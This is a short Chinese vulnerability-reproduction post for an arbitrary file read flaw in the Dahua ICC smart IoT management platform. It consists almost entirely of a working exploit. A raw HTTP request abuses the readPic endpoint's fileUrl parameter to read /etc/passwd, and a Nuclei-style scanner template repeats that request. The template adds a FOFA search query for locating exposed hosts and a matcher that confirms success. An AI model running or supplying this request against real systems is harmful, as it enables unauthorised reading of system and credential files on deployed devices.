「漏洞复现」大华智能物联综合管理平台readpic任意文件读取

GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/2.0Host: Sec-Ch-Ua: "Google Chrome";v="117", "Chromium";v="117", "Not=A?Brand";v="24"Sec-Fetch-Dest: documentCookie: JSESSIONID=7155589CCA7CBB44927cb690e52fa248Sec-Ch-Ua-Platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Sec-Fetch-User: ?1Cache-Control: max-age=0Sec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade-Insecure-Requests: 1Sec-Fetch-Mode: navigate

id: dahua-icc-readpic-filereadinfo:  name: 大华智能物联综合管理平台readpic任意文件读取漏洞  author: rain  severity: high  description: |    大华ICC智能物联综合管理平台存在任意文件读取漏洞，会造成敏感信息泄露。  tags: 2023,dahua,fileread  metadata:    max-request: 2    fofa-query: body="*客户端会小于800*"    verified: truerequests:  - raw:      - |        GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/2.0        Host: {{Hostname}}        Sec-Ch-Ua: "Google Chrome";v="117", "Chromium";v="117", "Not=A?Brand";v="24"        Sec-Fetch-Dest: document        Cookie: JSESSIONID=7155589CCA7CBB44927cb690e52fa248        Sec-Ch-Ua-Platform: "Windows"        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Sec-Fetch-Site: none        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9        Sec-Fetch-User: ?1        Cache-Control: max-age=0        Sec-Ch-Ua-Mobile: ?0        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36        Upgrade-Insecure-Requests: 1        Sec-Fetch-Mode: navigate    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code==200 && contains(body,"root:")'